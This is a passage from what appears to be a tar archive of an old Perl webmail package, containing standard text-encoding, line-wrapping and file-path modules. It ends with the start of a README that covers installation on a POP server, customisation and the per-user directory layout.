# $Id: QuotedPrint.pm,v 2.3 1997/12/02 10:24:27 aas Exp $

package MIME::QuotedPrint;

=head1 NAME

MIME::QuotedPrint - Encoding and decoding of quoted-printable strings

=head1 SYNOPSIS

 use MIME::QuotedPrint;

 $encoded = encode_qp($decoded);
 $decoded = decode_qp($encoded);

=head1 DESCRIPTION

This module provides functions to encode and decode strings into the
Quoted-Printable encoding specified in RFC 2045 - I<MIME (Multipurpose
Internet Mail Extensions)>.  The Quoted-Printable encoding is intended
to represent data that largely consists of bytes that correspond to
printable characters in the ASCII character set.  Non-printable
characters (as defined by english americans) are represented by a
triplet consisting of the character "=" followed by two hexadecimal
digits.

The following functions are provided:

=over 4

=item encode_qp($str)

This function will return an encoded version of the string given as
argument.

Note that encode_qp() does not change newlines C<"\n"> to the CRLF
sequence even though this might be considered the right thing to do
(RFC 2045 (Q-P Rule #4)).

=item decode_qp($str);

This function will return the plain text version of the string given
as argument.

=back


If you prefer not to import these routines into your namespace you can
call them as:

  use MIME::QuotedPrint ();
  $encoded = MIME::QuotedPrint::encode($decoded);
  $decoded = MIME::QuotedPrint::decode($encoded);

=head1 COPYRIGHT

Copyright 1995-1997 Gisle Aas.

This library is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

=cut

use strict;
use vars qw(@ISA @EXPORT $VERSION);

require Exporter;
@ISA = qw(Exporter);
@EXPORT = qw(encode_qp decode_qp);

$VERSION = sprintf("%d.%02d", q$Revision: 2.3 $ =~ /(\d+)\.(\d+)/);


sub encode_qp ($)
{
    my $res = shift;
    $res =~ s/([^ \t\n!-<>-~])/sprintf("=%02X", ord($1))/eg;  # rule #2,#3
    $res =~ s/([ \t]+)$/
      join('', map { sprintf("=%02X", ord($_)) }
		   split('', $1)
      )/egm;                        # rule #3 (encode whitespace at eol)

    # rule #5 (lines must be shorter than 76 chars, but we are not allowed
    # to break =XX escapes.  This makes things complicated :-( )
    my $brokenlines = "";
    $brokenlines .= "$1=\n"
	while $res =~ s/(.*?^[^\n]{73} (?:
		 [^=\n]{2} (?! [^=\n]{0,1} $) # 75 not followed by .?\n
		|[^=\n]    (?! [^=\n]{0,2} $) # 74 not followed by .?.?\n
		|          (?! [^=\n]{0,3} $) # 73 not followed by .?.?.?\n
	    ))//xsm;

    "$brokenlines$res";
}


sub decode_qp ($)
{
    my $res = shift;
    $res =~ s/[ \t]+?(\r?\n)/$1/g;  # rule #3 (trailing space must be deleted)
    $res =~ s/=\r?\n//g;            # rule #5 (soft line breaks)
    $res =~ s/=([\da-fA-F]{2})/pack("C", hex($1))/ge;
    $res;
}

# Set up aliases so that these functions also can be called as
#
# MIME::QuotedPrint::encode();
# MIME::QuotedPrint::decode();

*encode = \&encode_qp;
*decode = \&decode_qp;

1;
wm357/Text/ 40700    312    144           0  7245677670  11612 5ustar  webmailuserswm357/Text/Wrap.pm100755    312    144        5627  6630351250  13161 0ustar  webmailuserspackage Text::Wrap;

require Exporter;

@ISA = qw(Exporter);
@EXPORT = qw(wrap fill);
@EXPORT_OK = qw($columns $break $huge);

$VERSION = 98.112902;

use vars qw($VERSION $columns $debug $break $huge);
use strict;

BEGIN	{
	$columns = 76;  # <= screen width
	$debug = 0;
	$break = '\s';
	$huge = 'wrap'; # alternatively: 'die'
}

use Text::Tabs qw(expand unexpand);

sub wrap
{
	my ($ip, $xp, @t) = @_;

	my $r = "";
	my $t = expand(join(" ",@t));
	my $lead = $ip;
	my $ll = $columns - length(expand($ip)) - 1;
	my $nll = $columns - length(expand($xp)) - 1;
	my $nl = "";
	my $remainder = "";

	while ($t !~ /^\s*$/) {
		if ($t =~ s/^([^\n]{0,$ll})($break|\Z(?!\n))//xm) {
			$r .= unexpand($nl . $lead . $1);
			$remainder = $2;
		} elsif ($huge eq 'wrap' && $t =~ s/^([^\n]{$ll})//) {
			$r .= unexpand($nl . $lead . $1);
			$remainder = "\n";
		} elsif ($huge eq 'die') {
			die "couldn't wrap '$t'";
		} else {
			die "This shouldn't happen";
		}
			
		$lead = $xp;
		$ll = $nll;
		$nl = "\n";
	}
	$r .= $remainder;

	print "-----------$r---------\n" if $debug;

	print "Finish up with '$lead', '$t'\n" if $debug;

	$r .= $lead . $t if $t ne "";

	print "-----------$r---------\n" if $debug;;
	return $r;
}

sub fill 
{
	my ($ip, $xp, @raw) = @_;
	my @para;
	my $pp;

	for $pp (split(/\n\s+/, join("\n",@raw))) {
		$pp =~ s/\s+/ /g;
		my $x = wrap($ip, $xp, $pp);
		push(@para, $x);
	}

	# if paragraph_indent is the same as line_indent, 
	# separate paragraphs with blank lines

	return join ($ip eq $xp ? "\n\n" : "\n", @para);
}

1;
__END__

=head1 NAME

Text::Wrap - line wrapping to form simple paragraphs

=head1 SYNOPSIS 

	use Text::Wrap

	print wrap($initial_tab, $subsequent_tab, @text);
	print fill($initial_tab, $subsequent_tab, @text);

	use Text::Wrap qw(wrap $columns $huge);

	$columns = 132;
	$huge = 'die';
	$huge = 'wrap';

=head1 DESCRIPTION

Text::Wrap::wrap() is a very simple paragraph formatter.  It formats a
single paragraph at a time by breaking lines at word boundries.
Indentation is controlled for the first line ($initial_tab) and
all subsquent lines ($subsequent_tab) independently.  

Lines are wrapped at $Text::Wrap::columns columns.  
$Text::Wrap::columns should be set to the full width of your output device.

When words that are longer than $columns are encountered, they
are broken up.  Previous versions of wrap() die()ed instead.
To restore the old (dying) behavior, set $Text::Wrap::huge to
'die'.

Text::Wrap::fill() is a simple multi-paragraph formatter.  It formats
each paragraph separately and then joins them together when it's done.  It
will destory any whitespace in the original text.  It breaks text into
paragraphs by looking for whitespace after a newline.  In other respects
it acts like wrap().

=head1 EXAMPLE

	print wrap("\t","","This is a bit of text that forms 
		a normal book-style paragraph");

=head1 AUTHOR

David Muir Sharnoff <muir@idiom.com> with help from Tim Pierce and
many many others.  

wm357/Text/Tabs.pm100755    312    144        3403  6627752500  13140 0ustar  webmailusers
package Text::Tabs;

require Exporter;

@ISA = (Exporter);
@EXPORT = qw(expand unexpand $tabstop);

use vars qw($VERSION $tabstop $debug);
$VERSION = 98.112801;

use strict;

BEGIN	{
	$tabstop = 8;
	$debug = 0;
}

sub expand
{
	my (@l) = @_;
	for $_ (@l) {
		1 while s/(^|\n)([^\t\n]*)(\t+)/
			$1. $2 . (" " x 
				($tabstop * length($3)
				- (length($2) % $tabstop)))
			/sex;
	}
	return @l if wantarray;
	return $l[0];
}

sub unexpand
{
	my (@l) = @_;
	my @e;
	my $x;
	my $line;
	my @lines;
	my $lastbit;
	for $x (@l) {
		@lines = split("\n", $x, -1);
		for $line (@lines) {
			$line = expand($line);
			@e = split(/(.{$tabstop})/,$line,-1);
			$lastbit = pop(@e);
			$lastbit = '' unless defined $lastbit;
			$lastbit = "\t"
				if $lastbit eq " "x$tabstop;
			for $_ (@e) {
				if ($debug) {
					my $x = $_;
					$x =~ s/\t/^I\t/gs;
					print "sub on '$x'\n";
				}
				s/  +$/\t/;
			}
			$line = join('',@e, $lastbit);
		}
		$x = join("\n", @lines);
	}
	return @l if wantarray;
	return $l[0];
}

1;
__END__


=head1 NAME

Text::Tabs -- expand and unexpand tabs per the unix expand(1) and unexpand(1)

=head1 SYNOPSIS

use Text::Tabs;

$tabstop = 4;
@lines_without_tabs = expand(@lines_with_tabs);
@lines_with_tabs = unexpand(@lines_without_tabs);

=head1 DESCRIPTION

Text::Tabs does about what the unix utilities expand(1) and unexpand(1)
do.  Given a line with tabs in it, expand will replace the tabs with
the appropriate number of spaces.  Given a line with or without tabs in
it, unexpand will add tabs when it can save bytes by doing so.  Invisible
compression with plain ascii!

=head1 BUGS

expand doesn't handle newlines very quickly -- do not feed it an
entire document in one string.  Instead feed it an array of lines.

=head1 AUTHOR

David Muir Sharnoff <muir@idiom.com>
wm357/File/ 40700    312    144           0  7245677670  11545 5ustar  webmailuserswm357/File/Spec/ 40755    312    144           0  7245677670  12451 5ustar  webmailuserswm357/File/Spec/Mac.pm100755    312    144       11567  7052022703  13612 0ustar  webmailuserspackage File::Spec::Mac;

use Exporter ();
use Config;
use strict;
use File::Spec;
use vars qw(@ISA $VERSION $Is_Mac);

$VERSION = '1.0';

@ISA = qw(File::Spec::Unix);
$Is_Mac = $^O eq 'MacOS';

Exporter::import('File::Spec', '$Verbose');


=head1 NAME

File::Spec::Mac - File::Spec for MacOS

=head1 SYNOPSIS

C<require File::Spec::Mac;>

=head1 DESCRIPTION

Methods for manipulating file specifications.

=head1 METHODS

=over 2

=item canonpath

On MacOS, there's nothing to be done.  Returns what it's given.

=cut

sub canonpath {
    my($self,$path) = @_;
    $path;
}

=item catdir

Concatenate two or more directory names to form a complete path ending with 
a directory.  Put a trailing : on the end of the complete path if there 
isn't one, because that's what's done in MacPerl's environment.

The fundamental requirement of this routine is that

	  File::Spec->catdir(split(":",$path)) eq $path

But because of the nature of Macintosh paths, some additional 
possibilities are allowed to make using this routine give reasonable results 
for some common situations.  Here are the rules that are used.  Each 
argument has its trailing ":" removed.  Each argument, except the first,
has its leading ":" removed.  They are then joined together by a ":".

So

	  File::Spec->catdir("a","b") = "a:b:"
	  File::Spec->catdir("a:",":b") = "a:b:"
	  File::Spec->catdir("a:","b") = "a:b:"
	  File::Spec->catdir("a",":b") = "a:b"
	  File::Spec->catdir("a","","b") = "a::b"

etc.

To get a relative path (one beginning with :), begin the first argument with :
or put a "" as the first argument.

If you don't want to worry about these rules, never allow a ":" on the ends 
of any of the arguments except at the beginning of the first.

Under MacPerl, there is an additional ambiguity.  Does the user intend that

	  File::Spec->catfile("LWP","Protocol","http.pm")

be relative or absolute?  There's no way of telling except by checking for the
existence of LWP: or :LWP, and even there he may mean a dismounted volume or
a relative path in a different directory (like in @INC).   So those checks
aren't done here. This routine will treat this as absolute.

=cut

# ';

sub catdir {
    shift;
    my @args = @_;
	$args[0] =~ s/:$//;
	my $result = shift @args;
	for (@args) {
		s/:$//;
		s/^://;
		$result .= ":$_";
    }
    $result .= ":";
	$result;
}

=item catfile

Concatenate one or more directory names and a filename to form a
complete path ending with a filename.  Since this uses catdir, the
same caveats apply.  Note that the leading : is removed from the filename,
so that 

	  File::Spec->catfile($ENV{HOME},"file");

and

	  File::Spec->catfile($ENV{HOME},":file");

give the same answer, as one might expect.

=cut

sub catfile {
    my $self = shift @_;
    my $file = pop @_;
    return $file unless @_;
    my $dir = $self->catdir(@_);
	$file =~ s/^://;
    return $dir.$file;
}

=item curdir

Returns a string representing of the current directory.

=cut

sub curdir {
    return ":" ;
}

=item rootdir

Returns a string representing the root directory.  Under MacPerl,
returns the name of the startup volume, since that's the closest in
concept, although other volumes aren't rooted there.  On any other
platform returns '', since there's no common way to indicate "root
directory" across all Macs.

=cut

sub rootdir {
#
#  There's no real root directory on MacOS.  If you're using MacPerl,
#  the name of the startup volume is returned, since that's the closest in
#  concept.  On other platforms, simply return '', because nothing better
#  can be done.
#
	if($Is_Mac) {
        require Mac::Files;
		my $system =  Mac::Files::FindFolder(&Mac::Files::kOnSystemDisk,
		        &Mac::Files::kSystemFolderType);
		$system =~ s/:.*$/:/;
		return $system;
	} else {
		return '';
    }
}

=item updir

Returns a string representing the parent directory.

=cut

sub updir {
    return "::";
}

=item file_name_is_absolute

Takes as argument a path and returns true, if it is an absolute path.  In 
the case where a name can be either relative or absolute (for example, a 
folder named "HD" in the current working directory on a drive named "HD"), 
relative wins.  Use ":" in the appropriate place in the path if you want to
distinguish unambiguously.

=cut

sub file_name_is_absolute {
    my($self,$file) = @_;
	if ($file =~ /:/) {
		return ($file !~ m/^:/);
	} else {
		return (! -e ":$file");
    }
}

=item path

Returns the null list for the MacPerl application, since the concept is 
usually meaningless under MacOS. But if you're using the MacPerl tool under 
MPW, it gives back $ENV{Commands} suitably split, as is done in 
:lib:ExtUtils:MM_Mac.pm.

=cut

sub path {
#
#  The concept is meaningless under the MacPerl application.
#  Under MPW, it has a meaning.
#
    my($self) = @_;
	my @path;
	if(exists $ENV{Commands}) {
		@path = split /,/,$ENV{Commands};
	} else {
	    @path = ();
	}
    @path;
}

=back

=head1 SEE ALSO

L<File::Spec>

=cut

1;
__END__

wm357/File/Spec/OS2.pm100755    312    144        1573  7052022703  13471 0ustar  webmailuserspackage File::Spec::OS2;

#use Config;
#use Cwd;
#use File::Basename;
use strict;
require Exporter;

use File::Spec;
use vars qw(@ISA);

Exporter::import('File::Spec',
       qw( $Verbose));

@ISA = qw(File::Spec::Unix);

$ENV{EMXSHELL} = 'sh'; # to run `commands`

sub file_name_is_absolute {
    my($self,$file) = @_;
    $file =~ m{^([a-z]:)?[\\/]}i ;
}

sub path {
    my($self) = @_;
    my $path_sep = ";";
    my $path = $ENV{PATH};
    $path =~ s:\\:/:g;
    my @path = split $path_sep, $path;
    foreach(@path) { $_ = '.' if $_ eq '' }
    @path;
}

1;
__END__

=head1 NAME

File::Spec::OS2 - methods for OS/2 file specs

=head1 SYNOPSIS

 use File::Spec::OS2; # Done internally by File::Spec if needed

=head1 DESCRIPTION

See File::Spec::Unix for a documentation of the methods provided
there. This package overrides the implementation of these methods, not
the semantics.

=cut
wm357/File/Spec/Unix.pm100755    312    144        6571  7052022703  14014 0ustar  webmailuserspackage File::Spec::Unix;

use Exporter ();
use Config;
use File::Basename qw(basename dirname fileparse);
use DirHandle;
use strict;
use vars qw(@ISA $Is_Mac $Is_OS2 $Is_VMS $Is_Win32);
use File::Spec;

Exporter::import('File::Spec', '$Verbose');

$Is_OS2 = $^O eq 'os2';
$Is_Mac = $^O eq 'MacOS';
$Is_Win32 = $^O eq 'MSWin32';

if ($Is_VMS = $^O eq 'VMS') {
    require VMS::Filespec;
    import VMS::Filespec qw( &vmsify );
}

=head1 NAME

File::Spec::Unix - methods used by File::Spec

=head1 SYNOPSIS

C<require File::Spec::Unix;>

=head1 DESCRIPTION

Methods for manipulating file specifications.

=head1 METHODS

=over 2

=item canonpath

No physical check on the filesystem, but a logical cleanup of a
path. On UNIX eliminated successive slashes and successive "/.".

=cut

sub canonpath {
    my($self,$path) = @_;
    $path =~ s|/+|/|g ;                            # xx////xx  -> xx/xx
    $path =~ s|(/\.)+/|/|g ;                       # xx/././xx -> xx/xx
    $path =~ s|^(\./)+|| unless $path eq "./";     # ./xx      -> xx
    $path =~ s|/$|| unless $path eq "/";           # xx/       -> xx
    $path;
}

=item catdir

Concatenate two or more directory names to form a complete path ending
with a directory. But remove the trailing slash from the resulting
string, because it doesn't look good, isn't necessary and confuses
OS2. Of course, if this is the root directory, don't cut off the
trailing slash :-)

=cut

# ';

sub catdir {
    shift;
    my @args = @_;
    for (@args) {
	# append a slash to each argument unless it has one there
	$_ .= "/" if $_ eq '' or substr($_,-1) ne "/";
    }
    my $result = join('', @args);
    # remove a trailing slash unless we are root
    substr($result,-1) = ""
	if length($result) > 1 && substr($result,-1) eq "/";
    $result;
}

=item catfile

Concatenate one or more directory names and a filename to form a
complete path ending with a filename

=cut

sub catfile {
    my $self = shift @_;
    my $file = pop @_;
    return $file unless @_;
    my $dir = $self->catdir(@_);
    for ($dir) {
	$_ .= "/" unless substr($_,length($_)-1,1) eq "/";
    }
    return $dir.$file;
}

=item curdir

Returns a string representing of the current directory.  "." on UNIX.

=cut

sub curdir {
    return "." ;
}

=item rootdir

Returns a string representing of the root directory.  "/" on UNIX.

=cut

sub rootdir {
    return "/";
}

=item updir

Returns a string representing of the parent directory.  ".." on UNIX.

=cut

sub updir {
    return "..";
}

=item no_upwards

Given a list of file names, strip out those that refer to a parent
directory. (Does not strip symlinks, only '.', '..', and equivalents.)

=cut

sub no_upwards {
    my($self) = shift;
    return grep(!/^\.{1,2}$/, @_);
}

=item file_name_is_absolute

Takes as argument a path and returns true, if it is an absolute path.

=cut

sub file_name_is_absolute {
    my($self,$file) = @_;
    $file =~ m:^/: ;
}

=item path

Takes no argument, returns the environment variable PATH as an array.

=cut

sub path {
    my($self) = @_;
    my $path_sep = ":";
    my $path = $ENV{PATH};
    my @path = split $path_sep, $path;
    foreach(@path) { $_ = '.' if $_ eq '' }
    @path;
}

=item join

join is the same as catfile.

=cut

sub join {
	my($self) = shift @_;
	$self->catfile(@_);
}

=item nativename

TBW.

=cut

sub nativename {
	my($self,$name) = shift @_;
	$name;
}

=back

=head1 SEE ALSO

L<File::Spec>

=cut

1;
__END__
wm357/File/Spec/VMS.pm100755    312    144        6070  7052022703  13530 0ustar  webmailusers
package File::Spec::VMS;

use Carp qw( &carp );
use Config;
require Exporter;
use VMS::Filespec;
use File::Basename;

use File::Spec;
use vars qw($Revision);
$Revision = '5.3901 (6-Mar-1997)';

@ISA = qw(File::Spec::Unix);

Exporter::import('File::Spec', '$Verbose');

=head1 NAME

File::Spec::VMS - methods for VMS file specs

=head1 SYNOPSIS

 use File::Spec::VMS; # Done internally by File::Spec if needed

=head1 DESCRIPTION

See File::Spec::Unix for a documentation of the methods provided
there. This package overrides the implementation of these methods, not
the semantics.

=head2 Methods always loaded

=over

=item catdir

Concatenates a list of file specifications, and returns the result as a
VMS-syntax directory specification.

=cut

sub catdir {
    my($self,@dirs) = @_;
    my($dir) = pop @dirs;
    @dirs = grep($_,@dirs);
    my($rslt);
    if (@dirs) {
      my($path) = (@dirs == 1 ? $dirs[0] : $self->catdir(@dirs));
      my($spath,$sdir) = ($path,$dir);
      $spath =~ s/.dir$//; $sdir =~ s/.dir$//; 
      $sdir = $self->eliminate_macros($sdir) unless $sdir =~ /^[\w\-]+$/;
      $rslt = $self->fixpath($self->eliminate_macros($spath)."/$sdir",1);
    }
    else { 
      if ($dir =~ /^\$\([^\)]+\)$/) { $rslt = $dir; }
      else                          { $rslt = vmspath($dir); }
    }
    print "catdir(",join(',',@_[1..$#_]),") = |$rslt|\n" if $Verbose >= 3;
    $rslt;
}

=item catfile

Concatenates a list of file specifications, and returns the result as a
VMS-syntax directory specification.

=cut

sub catfile {
    my($self,@files) = @_;
    my($file) = pop @files;
    @files = grep($_,@files);
    my($rslt);
    if (@files) {
      my($path) = (@files == 1 ? $files[0] : $self->catdir(@files));
      my($spath) = $path;
      $spath =~ s/.dir$//;
      if ( $spath =~ /^[^\)\]\/:>]+\)$/ && basename($file) eq $file) { $rslt = "$spath$file"; }
      else {
          $rslt = $self->eliminate_macros($spath);
          $rslt = vmsify($rslt.($rslt ? '/' : '').unixify($file));
      }
    }
    else { $rslt = vmsify($file); }
    print "catfile(",join(',',@_[1..$#_]),") = |$rslt|\n" if $Verbose >= 3;
    $rslt;
}

=item curdir (override)

Returns a string representing of the current directory.

=cut

sub curdir {
    return '[]';
}

=item rootdir (override)

Returns a string representing of the root directory.

=cut

sub rootdir {
    return '';
}

=item updir (override)

Returns a string representing of the parent directory.

=cut

sub updir {
    return '[-]';
}

=item path (override)

Translate logical name DCL$PATH as a searchlist, rather than trying
to C<split> string value of C<$ENV{'PATH'}>.

=cut

sub path {
    my(@dirs,$dir,$i);
    while ($dir = $ENV{'DCL$PATH;' . $i++}) { push(@dirs,$dir); }
    @dirs;
}

=item file_name_is_absolute (override)

Checks for VMS directory spec as well as Unix separators.

=cut

sub file_name_is_absolute {
    my($self,$file) = @_;
    # If it's a logical name, expand it.
    $file = $ENV{$file} while $file =~ /^[\w\$\-]+$/ and $ENV{$file};
    $file =~ m!^/! or $file =~ m![<\[][^.\-\]>]! or $file =~ /:[^<\[]/;
}

1;
__END__

wm357/File/Spec/Win32.pm100755    312    144        4126  7052022703  13765 0ustar  webmailuserspackage File::Spec::Win32;

=head1 NAME

File::Spec::Win32 - methods for Win32 file specs

=head1 SYNOPSIS

 use File::Spec::Win32; # Done internally by File::Spec if needed

=head1 DESCRIPTION

See File::Spec::Unix for a documentation of the methods provided
there. This package overrides the implementation of these methods, not
the semantics.

=over

=cut 

#use Config;
#use Cwd;
use File::Basename;
require Exporter;
use strict;

use vars qw(@ISA);

use File::Spec;
Exporter::import('File::Spec', qw( $Verbose));

@ISA = qw(File::Spec::Unix);

$ENV{EMXSHELL} = 'sh'; # to run `commands`

sub file_name_is_absolute {
    my($self,$file) = @_;
    $file =~ m{^([a-z]:)?[\\/]}i ;
}

sub catdir {
    my $self = shift;
    my @args = @_;
    for (@args) {
	# append a slash to each argument unless it has one there
	$_ .= "\\" if $_ eq '' or substr($_,-1) ne "\\";
    }
    my $result = $self->canonpath(join('', @args));
    $result;
}

=item catfile

Concatenate one or more directory names and a filename to form a
complete path ending with a filename

=cut

sub catfile {
    my $self = shift @_;
    my $file = pop @_;
    return $file unless @_;
    my $dir = $self->catdir(@_);
    $dir =~ s/(\\\.)$//;
    $dir .= "\\" unless substr($dir,length($dir)-1,1) eq "\\";
    return $dir.$file;
}

sub path {
    local $^W = 1;
    my($self) = @_;
    my $path = $ENV{'PATH'} || $ENV{'Path'} || $ENV{'path'};
    my @path = split(';',$path);
    foreach(@path) { $_ = '.' if $_ eq '' }
    @path;
}

=item canonpath

No physical check on the filesystem, but a logical cleanup of a
path. On UNIX eliminated successive slashes and successive "/.".

=cut

sub canonpath {
    my($self,$path) = @_;
    $path =~ s/^([a-z]:)/\u$1/;
    $path =~ s|/|\\|g;
    $path =~ s|\\+|\\|g ;                          # xx////xx  -> xx/xx
    $path =~ s|(\\\.)+\\|\\|g ;                    # xx/././xx -> xx/xx
    $path =~ s|^(\.\\)+|| unless $path eq ".\\";   # ./xx      -> xx
    $path =~ s|\\$|| 
             unless $path =~ m#^([a-z]:)?\\#;      # xx/       -> xx
    $path .= '.' if $path =~ m#\\$#;
    $path;
}

1;
__END__

=back

=cut 

wm357/File/Spec.pm100755    312    144        5652  7131064057  13076 0ustar  webmailuserspackage File::Spec;

require Exporter;

@ISA = qw(Exporter);
# Items to export into callers namespace by default. Note: do not export
# names by default without a very good reason. Use EXPORT_OK instead.
# Do not simply export all your public functions/methods/constants.
@EXPORT = qw(
	
);
@EXPORT_OK = qw($Verbose);

use strict;
use vars qw(@ISA $VERSION $Verbose);

$VERSION = '0.6';

$Verbose = 0;

require File::Spec::Unix;


sub load {
	my($class,$OS) = @_;
	if ($OS eq 'VMS') {
		require File::Spec::VMS;
		require VMS::Filespec;
		'File::Spec::VMS'
	} elsif ($OS eq 'os2') {
		require File::Spec::OS2;
		'File::Spec::OS2'
	} elsif ($OS eq 'MacOS') {
		require File::Spec::Mac;
		'File::Spec::Mac'
	} elsif ($OS eq 'MSWin32') {
		require File::Spec::Win32;
		'File::Spec::Win32'
	} else {
		'File::Spec::Unix'
	}
}

@ISA = load('File::Spec', $^O);

1;
__END__

=head1 NAME

File::Spec - portably perform operations on file names

=head1 SYNOPSIS

C<use File::Spec;>

C<$x=File::Spec-E<gt>catfile('a','b','c');>

which returns 'a/b/c' under Unix.

=head1 DESCRIPTION

This module is designed to support operations commonly performed on file
specifications (usually called "file names", but not to be confused with the
contents of a file, or Perl's file handles), such as concatenating several
directory and file names into a single path, or determining whether a path
is rooted. It is based on code directly taken from MakeMaker 5.17, code
written by Andreas KE<ouml>nig, Andy Dougherty, Charles Bailey, Ilya
Zakharevich, Paul Schinder, and others.

Since these functions are different for most operating systems, each set of
OS specific routines is available in a separate module, including:

	File::Spec::Unix
	File::Spec::Mac
	File::Spec::OS2
	File::Spec::Win32
	File::Spec::VMS

The module appropriate for the current OS is automatically loaded by
File::Spec. Since some modules (like VMS) make use of OS specific
facilities, it may not be possible to load all modules under all operating
systems.

Since File::Spec is object oriented, subroutines should not called directly,
as in:

	File::Spec::catfile('a','b');
	
but rather as class methods:

	File::Spec->catfile('a','b');

For a reference of available functions, please consult L<File::Spec::Unix>,
which contains the entire set, and inherited by the modules for other
platforms. For further information, please see L<File::Spec::Mac>,
L<File::Spec::OS2>, L<File::Spec::Win32>, or L<File::Spec::VMS>.

=head1 SEE ALSO

File::Spec::Unix, File::Spec::Mac, File::Spec::OS2, File::Spec::Win32,
File::Spec::VMS, ExtUtils::MakeMaker

=head1 AUTHORS

Kenneth Albanowski <F<kjahds@kjahds.com>>, Andy Dougherty
<F<doughera@lafcol.lafayette.edu>>, Andreas KE<ouml>nig
<F<A.Koenig@franz.ww.TU-Berlin.DE>>, Tim Bunce <F<Tim.Bunce@ig.co.uk>>. VMS
support by Charles Bailey <F<bailey@newman.upenn.edu>>.  OS/2 support by
Ilya Zakharevich <F<ilya@math.ohio-state.edu>>. Mac support by Paul Schinder
<F<schinder@pobox.com>>.

=cut


1;
wm357/README.txt100755    312    144       50465  7245677670  12530 0ustar  webmailusersADJE Webmail. Copyright ADJE, LLC 1998-present.
All rights reserved. Use this software at your own risk.
ADJE, LLC assumes no liability for damages or losses
associated with this software.


Table of Contents:

  1) INSTALLATION EXAMPLES 

  2) CUSTOMIZING THE SOFTWARE

     - Site License: ads and email trailers
     - Color control
     - Language

  3) SOFTWARE FUNCTIONAL OVERVIEW

  4) SYSTEM REQUIREMENTS AND LIMITATIONS

  5) TERMS OF USE

  6) TROUBLESHOOTING / TECHNICAL SUPPORT!!!

  7) VERSION IMPROVEMENTS

===========================================================================

1) *** INSTALLATION EXAMPLES ***

IT IS NOT NECESSARY TO INSTALL THIS SOFTWARE ON YOUR EMAIL SERVER.
The only requirement is that the machine running the software has access to
the mail (POP) server containing the email accounts you wish to check.
The software
can be running on a machine physically located in Tim-Buk-Tu, but checking
email for "adjeweb.com", whose POP server is physically located in 
Huntsville, AL, USA.

So, if you're having installation problems and have access to more than one
server, an easy fix is to try installing the software on another server; 
preferably one running Linux!

For this example, we'll install the software to check all emails under the
domain of "adjeweb.com" - that means that everyone whose email
address ends in "adjeweb.com" can use the software to check their email
via the web if they know their username and password.  Here goes!

If you're not installing the software on your POP/SMTP server,
you'll need to determine your POP server name, so in Linux
on the command line:

> host -t mx adjeweb.com

which returns:

adjeweb.com mail is handled (pri=10) by mail.adjeweb.com

Okay, so I know the name of my POP server.  You should know this anyway!
Next step is to create a user called "webmail" on your system.  It is NOT
necessary to create this user, however it is necessary that you install
the software while logged in as a user ( NOT su or root!) that can execute 
perl cgi scripts.  Any future mods to the software must be done as the user
that originally installed same - this is VERY IMPORTANT!!

Next, create a cgi-bin directory to contain your WebMail scripts.
The easiest way to do this if you don't have a cgi-bin (so you don't have to
 mess with your web server's config files) is to allow user "webmail" access to root's cgi-bin directory:

> chmod 777 /home/httpd/cgi-bin

Next, run the install script - ./install.pl, and you're done!
Once you're satisfied with the installation, you can return permissions
on root's cgi-bin directory:

> chmod 755 /home/httpd/cgi-bin

You might also want to consider denying telnet,ftp,etc... access to user
webmail, or at least giving "webmail" a righteous password!

OKAY, to summarize:

- create user "webmail"
> chmod 777 /home/httpd/cgi-bin
> su webmail (better yet, log in as user webmail)
> ./install.pl
  cgi-bin directory: /home/httpd/cgi-bin
  POP Server : mail.adjeweb.com
  SMTP Server: mail.adjeweb.com
> chmod 755 /home/httpd/cgi-bin

2) ** CUSTOMIZING YOUR WEBMAIL INSTALLATION ***

A) Edit the E-Mail Trailer file ~webmail[/ADJE_WebMail_Dir]/trailers.txt to promote your web site!
The text in this file will be appended to every outgoing email. Unlicensed
copies will attach the contents of this file to 50% of outgoing emails.
The remaining 50% will contain trailers advertising this software.
Licensed copies of the software use only the contents of this file for
email trailer text.  To remove trailers completely (licensed copies only),
remove all non-comment text from this file - DO NOT remove the file!
As you may have guessed, versions of the software >= 3.50 use the directory
~webmail/ADJE_WebMail_Dir/ to store the trailers.txt file.

A1) If you own a licensed copy of the software, you may edit the file
~webmail[/ADJE_WebMail_Dir]/ads.html to display banner advertising html of your choosing 100% of
the time.  Licensed copies may remove banner ads entirely by removing all non-comment lines from this file.

Non-licensed copies will display the html contained in the software 100% of
the time.

B) We encourage you to use a "server" (.html) page as opposed to index.cgi
for your login page.  Briefly:
 - ./index.cgi > webmail.html
 - remove the first two lines of webmail.html
 - change "inbox.cgi" and "uguide.cgi" to the full URL of these pages,
   usually something like http://www.domain.com/cgi-bin/WebMail/inbox.cgi
 - move or copy webmail.html to a server directory and use it as your login
   page.

C) Moderate control over the color scheme of the web pages:
  ~/webmail[/ADJE_WebMail_Dir]/colors.txt

D) If your users speak a language other than English, you might consider
editing "language.cgi" in your cgi scripts directory.  This is a major pain -
DO NOT attempt unless you are VERY fluent in English and are comfortable
with PERL.  Please send your translated language.cgi file to us
( support@adjeweb.com ) so you won't have to do it again for the next
release of software!  We'll also be happy to issue you a free license!!

E) Running the software with setuid/setgid enabled has the advantage of
   having user "webmail" own parsed emails, which makes it much harder
   for someone to read the parsed emails contained in webmail's home
   directory.  Running in this fashion is similar to running your Apache
   web server with suexec or cgiwrap.
   The default installation of the software assumes setuid perl works on
   your system (which is usually not the case).
   You should only be reading this if you've decided to
   re-install PERL with setuid enabled.  To re-install the software:

   - Make sure you are "root" (so you can remove files owned by the web server)
   - cd ~webmail
   - chmod 777 .
   - rm -rf ADJE_WebMail_Dir 
   - su webmail
   - ./install.pl

3) *** SOFTWARE FUNCTIONAL OVERVIEW ***

The webmail software is designed to interact with a POP3 mail server.
Parsed emails are stored in the home directory of the user performing the
software installation (for versions >= 3.50 the software creates a sub-
directory called ADJE_WebMail_Dir in user webmail's home directory).
If you created a user called "webmail" whose home
directory was "/users/webmail", your directory structure would look something
like this for each user (in this case the user's name is "mike") that used the
software to check their email:

/users/webmail/mike/ip.txt
/users/webmail/mike/messages.txt
/users/webmail/mike/addressbook.txt
/users/webmail/mike/in/3729f4c800000f2b
/users/webmail/mike/in/3729f4c800000f2b/ALL.txt
/users/webmail/mike/in/3729f4c800000f2b/msg-30573-2.doc
/users/webmail/mike/in/3729f4c800000a9a
/users/webmail/mike/in/3729f4c800000a9a/ALL.txt
/users/webmail/mike/in/3729f4c800000a9a/msg-2316-1.doc
/users/webmail/mike/in/3729f4c800000f46
/users/webmail/mike/in/3729f4c800000f46/ALL.txt
/users/webmail/mike/in/3729f4c800000f46/msg-31310-1.doc
